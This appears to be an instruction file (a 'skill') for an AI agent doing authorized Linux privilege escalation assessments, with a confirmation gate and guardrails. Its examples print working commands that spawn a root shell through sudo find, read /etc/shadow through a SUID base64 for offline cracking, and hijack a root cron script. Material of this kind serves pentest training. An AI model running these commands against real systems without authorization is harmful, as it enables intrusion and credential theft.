⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

Ask the user to state the exact target URL, IP, account, or resource.

Ask the user to confirm written authorization and the permitted scope.

Show the exact command(s) and explain their expected effect.

Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

Linux Privilege Escalation

Detailed Guide

Read the detailed guide before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.

Constraints and Guardrails

Operational Boundaries

Verify kernel exploits in test environment before production use
Failed kernel exploits may crash the system
Document all changes made during privilege escalation
Maintain access persistence only as authorized

Technical Limitations

Modern kernels may have exploit mitigations (ASLR, SMEP, SMAP)
AppArmor/SELinux may restrict exploitation techniques
Container environments limit kernel-level exploits
Hardened systems may have restricted sudo configurations

Legal and Ethical Requirements

Written authorization required before testing
Stay within defined scope boundaries
Report critical findings immediately
Do not access data beyond scope requirements

Examples

Example 1: Sudo to Root via find

Scenario: User has sudo rights for find command

$ sudo -l
User user may run the following commands:
    (root) NOPASSWD: /usr/bin/find

$ sudo find . -exec /bin/bash \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)

Example 2: SUID base64 for Shadow Access

Scenario: base64 binary has SUID bit set

$ find / -perm -u=s -type f 2>/dev/null | grep base64
/usr/bin/base64

$ base64 /etc/shadow | base64 -d
root:$6$xyz...:18000:0:99999:7:::

# Crack offline with john
$ john --wordlist=rockyou.txt shadow.txt

Example 3: Cron Job Script Hijacking

Scenario: Root cron job executes writable script

$ cat /etc/crontab
* * * * * root /opt/scripts/backup.sh

$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh

$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh

# Wait 1 minute
$ /tmp/bash -p
# id
uid=1000(user) gid=1000(user) euid=0(root)

When to Use

This skill is applicable to execute the workflow or actions described in the overview.

linux-privilege-escalation